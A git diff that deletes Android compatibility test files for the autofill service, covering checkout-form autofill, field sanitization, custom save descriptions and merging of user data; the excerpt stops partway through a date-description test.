-            this.ccNumberWatcher = new OneTimeTextWatcher("ccNumber", mCcNumber, ccNumber);
-            this.ccExpirationListener =
-                    new OneTimeSpinnerListener("ccExpiration", mCcExpiration, ccExpirationIndex);
-            addressListener = new OneTimeRadioGroupListener("address", mAddress, addressId);
-            saveCcListener = new OneTimeCompoundButtonListener("saveCc", mSaveCc, saveCc);
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
deleted file mode 100644
index 3d995b9..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivityTest.java
+++ /dev/null
@@ -1,404 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.CheckoutActivity.ID_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_EXPIRATION;
-import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
-import static android.autofillservice.cts.CheckoutActivity.ID_HOME_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.ID_SAVE_CC;
-import static android.autofillservice.cts.CheckoutActivity.ID_WORK_ADDRESS;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_ADDRESS_WORK;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_NEVER;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_TODAY;
-import static android.autofillservice.cts.CheckoutActivity.INDEX_CC_EXPIRATION_TOMORROW;
-import static android.autofillservice.cts.Helper.assertListValue;
-import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextIsSanitized;
-import static android.autofillservice.cts.Helper.assertToggleIsSanitized;
-import static android.autofillservice.cts.Helper.assertToggleValue;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
-import static android.view.View.AUTOFILL_TYPE_LIST;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
-import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CharSequenceTransformation;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.FillContext;
-import android.service.autofill.ImageTransformation;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.autofill.AutofillId;
-import android.widget.ArrayAdapter;
-import android.widget.RemoteViews;
-import android.widget.Spinner;
-
-import org.junit.Test;
-
-import java.util.Arrays;
-import java.util.regex.Pattern;
-
-/**
- * Test case for an activity containing non-TextField views.
- */
-public class CheckoutActivityTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<CheckoutActivity> {
-
-    private CheckoutActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<CheckoutActivity> getActivityRule() {
-        return new AutofillActivityTestRule<CheckoutActivity>(CheckoutActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testAutofill() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setPresentation(createPresentation("ACME CC"))
-                .setField(ID_CC_NUMBER, "4815162342")
-                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
-                .setField(ID_ADDRESS, 1)
-                .setField(ID_SAVE_CC, true)
-                .build());
-        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
-                true);
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of Spinner field.
-        final ViewNode ccExpirationNode =
-                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
-        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
-        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
-        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNotNull();
-        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
-                .containsExactly((Object [])
-                        getContext().getResources().getStringArray(R.array.cc_expiration_values))
-                .inOrder();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("ACME CC");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofill() is enough")
-    public void testAutofillDynamicAdapter() throws Exception {
-        // Set activity.
-        mActivity.onCcExpiration((v) -> v.setAdapter(new ArrayAdapter<String>(getContext(),
-                android.R.layout.simple_spinner_item,
-                Arrays.asList("YESTERDAY", "TODAY", "TOMORROW", "NEVER"))));
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setPresentation(createPresentation("ACME CC"))
-                .setField(ID_CC_NUMBER, "4815162342")
-                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
-                .setField(ID_ADDRESS, 1)
-                .setField(ID_SAVE_CC, true)
-                .build());
-        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
-                true);
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of Spinner field.
-        final ViewNode ccExpirationNode =
-                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
-        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
-        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
-        assertWithMessage("ccExpirationNode.getAutoFillOptions()").that(options).isNull();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("ACME CC");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    // TODO: this should be a pure unit test exercising onProvideAutofillStructure(),
-    // but that would require creating a custom ViewStructure.
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testGetAutofillOptionsSorted() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set activity.
-        mActivity.onCcExpirationAdapter((adapter) -> adapter.sort((a, b) -> {
-            return ((String) a).compareTo((String) b);
-        }));
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setPresentation(createPresentation("ACME CC"))
-                .setField(ID_CC_NUMBER, "4815162342")
-                .setField(ID_CC_EXPIRATION, INDEX_CC_EXPIRATION_NEVER)
-                .setField(ID_ADDRESS, 1)
-                .setField(ID_SAVE_CC, true)
-                .build());
-        mActivity.expectAutoFill("4815162342", INDEX_CC_EXPIRATION_NEVER, R.id.work_address,
-                true);
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert properties of Spinner field.
-        final ViewNode ccExpirationNode =
-                assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertThat(ccExpirationNode.getClassName()).isEqualTo(Spinner.class.getName());
-        assertThat(ccExpirationNode.getAutofillType()).isEqualTo(AUTOFILL_TYPE_LIST);
-        final CharSequence[] options = ccExpirationNode.getAutofillOptions();
-        assertWithMessage("Wrong auto-fill options for spinner").that(options).asList()
-                .containsExactly("never", "today", "tomorrow", "yesterday").inOrder();
-
-        // Auto-fill it.
-        mUiBot.selectDataset("ACME CC");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testSanitization() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD,
-                        ID_CC_NUMBER, ID_CC_EXPIRATION, ID_ADDRESS, ID_SAVE_CC)
-                .build());
-
-        // Dynamically change view contents
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
-        mActivity.onHomeAddress((v) -> v.setChecked(true));
-        mActivity.onSaveCc((v) -> v.setChecked(true));
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-
-        // Assert sanitization on fill request: everything should be sanitized!
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        assertTextIsSanitized(fillRequest.structure, ID_CC_NUMBER);
-        assertTextIsSanitized(fillRequest.structure, ID_CC_EXPIRATION);
-        assertToggleIsSanitized(fillRequest.structure, ID_HOME_ADDRESS);
-        assertToggleIsSanitized(fillRequest.structure, ID_SAVE_CC);
-
-        // Trigger save.
-        mActivity.onCcNumber((v) -> v.setText("4815162342"));
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
-        mActivity.onAddress((v) -> v.check(R.id.work_address));
-        mActivity.onSaveCc((v) -> v.setChecked(false));
-        mActivity.tapBuy();
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_CREDIT_CARD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert sanitization on save: everything should be available!
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CC_NUMBER), "4815162342");
-        assertListValue(findNodeByResourceId(saveRequest.structure, ID_CC_EXPIRATION),
-                INDEX_CC_EXPIRATION_TODAY);
-        assertListValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS),
-                INDEX_ADDRESS_WORK);
-        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_HOME_ADDRESS), false);
-        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_WORK_ADDRESS), true);
-        assertToggleValue(findNodeByResourceId(saveRequest.structure, ID_SAVE_CC), false);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testCustomizedSaveUi() throws Exception {
-        customizedSaveUi(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testCustomizedSaveUiWithContentDescription() throws Exception {
-        customizedSaveUi(true);
-    }
-
-    /**
-     * Tests that a spinner can be used on custom save descriptions.
-     */
-    private void customizedSaveUi(boolean withContentDescription) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final String packageName = getContext().getPackageName();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final RemoteViews presentation = new RemoteViews(packageName,
-                            R.layout.two_horizontal_text_fields);
-                    final FillContext context = contexts.get(0);
-                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
-                            ID_CC_NUMBER);
-                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
-                            ID_CC_EXPIRATION);
-                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
-                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
-                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final ImageTransformation trans3 = (withContentDescription
-                            ? new ImageTransformation.Builder(ccNumberId,
-                                    Pattern.compile("(.*)"), R.drawable.android,
-                                    "One image is worth thousand words")
-                            : new ImageTransformation.Builder(ccNumberId,
-                                    Pattern.compile("(.*)"), R.drawable.android))
-                            .build();
-
-                    final CustomDescription customDescription =
-                            new CustomDescription.Builder(presentation)
-                            .addChild(R.id.first, trans1)
-                            .addChild(R.id.second, trans2)
-                            .addChild(R.id.img, trans3)
-                            .build();
-                    builder.setCustomDescription(customDescription);
-                })
-                .build());
-
-        // Dynamically change view contents
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onCcNumber((v) -> v.setText("4815162342"));
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
-        mActivity.tapBuy();
-
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
-
-        // Then make sure it does have the custom views on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT));
-        assertThat(staticText).isNotNull();
-        assertThat(staticText.getText()).isEqualTo("YO:");
-
-        final UiObject2 number = saveUi.findObject(By.res(packageName, "first"));
-        assertThat(number).isNotNull();
-        assertThat(number.getText()).isEqualTo("4815162342");
-
-        final UiObject2 expiration = saveUi.findObject(By.res(packageName, "second"));
-        assertThat(expiration).isNotNull();
-        assertThat(expiration.getText()).isEqualTo("today");
-
-        final UiObject2 image = saveUi.findObject(By.res(packageName, "img"));
-        assertThat(image).isNotNull();
-        final String contentDescription = image.getContentDescription();
-        if (withContentDescription) {
-            assertThat(contentDescription).isEqualTo("One image is worth thousand words");
-        } else {
-            assertThat(contentDescription).isNull();
-        }
-    }
-
-    /**
-     * Tests that a custom save description is ignored when the selected spinner element is not
-     * available in the autofill options.
-     */
-    @Test
-    public void testCustomizedSaveUiWhenListResolutionFails() throws Exception {
-        // Set service.
-        enableService();
-
-        // Change spinner to return just one item so the transformation throws an exception when
-        // fetching it.
-        mActivity.getCcExpirationAdapter().setAutofillOptions("D'OH!");
-
-        // Set expectations.
-        final String packageName = getContext().getPackageName();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_CREDIT_CARD, ID_CC_NUMBER, ID_CC_EXPIRATION)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId ccNumberId = findAutofillIdByResourceId(context,
-                            ID_CC_NUMBER);
-                    final AutofillId ccExpirationId = findAutofillIdByResourceId(context,
-                            ID_CC_EXPIRATION);
-                    final RemoteViews presentation = new RemoteViews(packageName,
-                            R.layout.two_horizontal_text_fields);
-                    final CharSequenceTransformation trans1 = new CharSequenceTransformation
-                            .Builder(ccNumberId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final CharSequenceTransformation trans2 = new CharSequenceTransformation
-                            .Builder(ccExpirationId, Pattern.compile("(.*)"), "$1")
-                            .build();
-                    final CustomDescription customDescription =
-                            new CustomDescription.Builder(presentation)
-                            .addChild(R.id.first, trans1)
-                            .addChild(R.id.second, trans2)
-                            .build();
-                    builder.setCustomDescription(customDescription);
-                })
-                .build());
-
-        // Dynamically change view contents
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TOMORROW, true));
-
-        // Trigger auto-fill.
-        mActivity.onCcNumber((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onCcNumber((v) -> v.setText("4815162342"));
-        mActivity.onCcExpiration((v) -> v.setSelection(INDEX_CC_EXPIRATION_TODAY));
-        mActivity.tapBuy();
-
-        // First make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_CREDIT_CARD);
-
-        // Then make sure it does not have the custom views on it...
-        assertThat(saveUi.findObject(By.res(packageName, Helper.ID_STATIC_TEXT))).isNull();
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CompositeUserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/CompositeUserDataTest.java
deleted file mode 100644
index a00e0d3..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CompositeUserDataTest.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.autofillservice.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import static org.testng.Assert.assertThrows;
-
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CompositeUserData;
-import android.service.autofill.UserData;
-import android.util.ArrayMap;
-
-import com.google.common.base.Strings;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.mockito.junit.MockitoJUnitRunner;
-
-@RunWith(MockitoJUnitRunner.class)
-@AppModeFull(reason = "Unit test")
-public class CompositeUserDataTest {
-
-    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
-    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
-            + Strings.repeat("?", UserData.getMaxValueLength());
-    private final String mId = "4815162342";
-    private final String mId2 = "4815162343";
-    private final String mCategoryId = "id1";
-    private final String mCategoryId2 = "id2";
-    private final String mCategoryId3 = "id3";
-    private final String mValue = mShortValue + "-1";
-    private final String mValue2 = mShortValue + "-2";
-    private final String mValue3 = mShortValue + "-3";
-    private final String mValue4 = mShortValue + "-4";
-    private final String mValue5 = mShortValue + "-5";
-    private final String mAlgo = "algo";
-    private final String mAlgo2 = "algo2";
-    private final String mAlgo3 = "algo3";
-    private final String mAlgo4 = "algo4";
-
-    private final UserData mEmptyGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
-            .build();
-    private final UserData mLoadedGenericUserData = new UserData.Builder(mId, mValue, mCategoryId)
-            .add(mValue2, mCategoryId2)
-            .setFieldClassificationAlgorithm(mAlgo, createBundle(false))
-            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo2, createBundle(false))
-            .build();
-    private final UserData mEmptyPackageUserData = new UserData.Builder(mId2, mValue3, mCategoryId3)
-            .build();
-    private final UserData mLoadedPackageUserData = new UserData
-            .Builder(mId2, mValue3, mCategoryId3)
-            .add(mValue4, mCategoryId2)
-            .setFieldClassificationAlgorithm(mAlgo3, createBundle(true))
-            .setFieldClassificationAlgorithmForCategory(mCategoryId2, mAlgo4, createBundle(true))
-            .build();
-
-
-    @Test
-    public void testMergeInvalid_bothNull() {
-        assertThrows(NullPointerException.class, () -> new CompositeUserData(null, null));
-    }
-
-    @Test
-    public void testMergeInvalid_nullPackageUserData() {
-        assertThrows(NullPointerException.class,
-                () -> new CompositeUserData(mEmptyGenericUserData, null));
-    }
-
-    @Test
-    public void testMerge_nullGenericUserData() {
-        final CompositeUserData userData = new CompositeUserData(null, mEmptyPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(1);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(1);
-        assertThat(values[0]).isEqualTo(mValue3);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
-        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
-    }
-
-    @Test
-    public void testMerge_bothEmpty() {
-        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
-                mEmptyPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(2);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(2);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
-        assertThat(userData.getDefaultFieldClassificationArgs()).isNull();
-    }
-
-    @Test
-    public void testMerge_emptyGenericUserData() {
-        final CompositeUserData userData = new CompositeUserData(mEmptyGenericUserData,
-                mLoadedPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(3);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
-        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(3);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue4);
-        assertThat(values[2]).isEqualTo(mValue);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
-
-        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
-        assertThat(defaultArgs).isNotNull();
-        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo4);
-
-        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
-        assertThat(args.size()).isEqualTo(1);
-        assertThat(args.containsKey(mCategoryId2)).isTrue();
-        assertThat(args.get(mCategoryId2)).isNotNull();
-        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
-    }
-
-    @Test
-    public void testMerge_emptyPackageUserData() {
-        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
-                mEmptyPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(3);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId);
-        assertThat(categoryIds[2]).isEqualTo(mCategoryId2);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(3);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue);
-        assertThat(values[2]).isEqualTo(mValue2);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo);
-
-        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
-        assertThat(defaultArgs).isNotNull();
-        assertThat(defaultArgs.getBoolean("isPackage")).isFalse();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo2);
-
-        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
-        assertThat(args.size()).isEqualTo(1);
-        assertThat(args.containsKey(mCategoryId2)).isTrue();
-        assertThat(args.get(mCategoryId2)).isNotNull();
-        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isFalse();
-    }
-
-
-    @Test
-    public void testMerge_bothHaveData() {
-        final CompositeUserData userData = new CompositeUserData(mLoadedGenericUserData,
-                mLoadedPackageUserData);
-
-        final String[] categoryIds = userData.getCategoryIds();
-        assertThat(categoryIds.length).isEqualTo(3);
-        assertThat(categoryIds[0]).isEqualTo(mCategoryId3);
-        assertThat(categoryIds[1]).isEqualTo(mCategoryId2);
-        assertThat(categoryIds[2]).isEqualTo(mCategoryId);
-
-        final String[] values = userData.getValues();
-        assertThat(values.length).isEqualTo(3);
-        assertThat(values[0]).isEqualTo(mValue3);
-        assertThat(values[1]).isEqualTo(mValue4);
-        assertThat(values[2]).isEqualTo(mValue);
-
-        assertThat(userData.getFieldClassificationAlgorithm()).isEqualTo(mAlgo3);
-        assertThat(userData.getDefaultFieldClassificationArgs()).isNotNull();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo4);
-
-        final Bundle defaultArgs = userData.getDefaultFieldClassificationArgs();
-        assertThat(defaultArgs).isNotNull();
-        assertThat(defaultArgs.getBoolean("isPackage")).isTrue();
-        assertThat(userData.getFieldClassificationAlgorithmForCategory(mCategoryId2))
-                .isEqualTo(mAlgo4);
-
-        final ArrayMap<String, Bundle> args = userData.getFieldClassificationArgs();
-        assertThat(args.size()).isEqualTo(1);
-        assertThat(args.containsKey(mCategoryId2)).isTrue();
-        assertThat(args.get(mCategoryId2)).isNotNull();
-        assertThat(args.get(mCategoryId2).getBoolean("isPackage")).isTrue();
-    }
-
-    private Bundle createBundle(Boolean isPackageBundle) {
-        final Bundle bundle = new Bundle();
-        bundle.putBoolean("isPackage", isPackageBundle);
-        return bundle;
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionDateTest.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionDateTest.java
deleted file mode 100644
index ad89227..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionDateTest.java
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_DATE_PICKER;
-import static android.autofillservice.cts.AbstractDatePickerActivity.ID_OUTPUT;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.autofillservice.cts.Helper.getContext;
-import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.autofillservice.cts.CannedFillResponse.CannedDataset;
-import android.icu.text.SimpleDateFormat;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.CustomDescription;
-import android.service.autofill.DateTransformation;
-import android.service.autofill.DateValueSanitizer;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiObject2;
-import android.view.autofill.AutofillId;
-import android.widget.RemoteViews;
-
-import org.junit.Test;
-
-import java.util.Calendar;
-
-@AppModeFull(reason = "Service-specific test")
-public class CustomDescriptionDateTest
-        extends AutoFillServiceTestCase.AutoActivityLaunch<DatePickerSpinnerActivity> {
-
-    private DatePickerSpinnerActivity mActivity;
-
-    @Override
-    protected AutofillActivityTestRule<DatePickerSpinnerActivity> getActivityRule() {
-        return new AutofillActivityTestRule<DatePickerSpinnerActivity>(
-                DatePickerSpinnerActivity.class) {
-            @Override
-            protected void afterActivityLaunched() {
-                mActivity = getActivity();
-            }
-        };
-    }
-
-    @Test
-    public void testCustomSave() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0),
-                            ID_DATE_PICKER);
-                    builder.setCustomDescription(new CustomDescription
-                            .Builder(newTemplate(R.layout.two_horizontal_text_fields))
-                            .addChild(R.id.first,
-                                    new DateTransformation(id, new SimpleDateFormat("MM/yyyy")))
-                            .addChild(R.id.second,
-                                    new DateTransformation(id, new SimpleDateFormat("MM-yy")))
-                            .build());
-                })
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onOutput((v) -> v.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Autofill it.
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save.
-        mActivity.setDate(2010, Calendar.DECEMBER, 12);
-        mActivity.tapOk();
-
-        // First, make sure the UI is shown...
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Then, make sure it does have the custom view on it...
-        final UiObject2 staticText = saveUi.findObject(By.res(mPackageName, "static_text"));
-        assertThat(staticText).isNotNull();
-        assertThat(staticText.getText()).isEqualTo("YO:");
-
-        // Finally, assert the custom lines are shown
-        mUiBot.assertChild(saveUi, "first", (o) -> assertThat(o.getText()).isEqualTo("12/2010"));
-        mUiBot.assertChild(saveUi, "second", (o) -> assertThat(o.getText()).isEqualTo("12-10"));
-    }
-
-    @Test
-    public void testSaveSameValue_usingSanitization() throws Exception {
-        sanitizationTest(true);
-    }
-
-    @Test
-    public void testSaveSameValue_withoutSanitization() throws Exception {
-        sanitizationTest(false);
-    }
-
-    private void sanitizationTest(boolean withSanitization) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final Calendar cal = Calendar.getInstance();
-        cal.clear();
-        cal.set(Calendar.YEAR, 2012);
-        cal.set(Calendar.MONTH, Calendar.DECEMBER);
-
-        // Set expectations.
-
-        // NOTE: ID_OUTPUT is used to trigger autofill, but it's value will be automatically
-        // changed, hence we need to set the expected value as the formated one. Ideally
-        // we shouldn't worry about that, but that would require creating a new activitiy with
-        // a custom edit text that uses date autofill values...
-        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
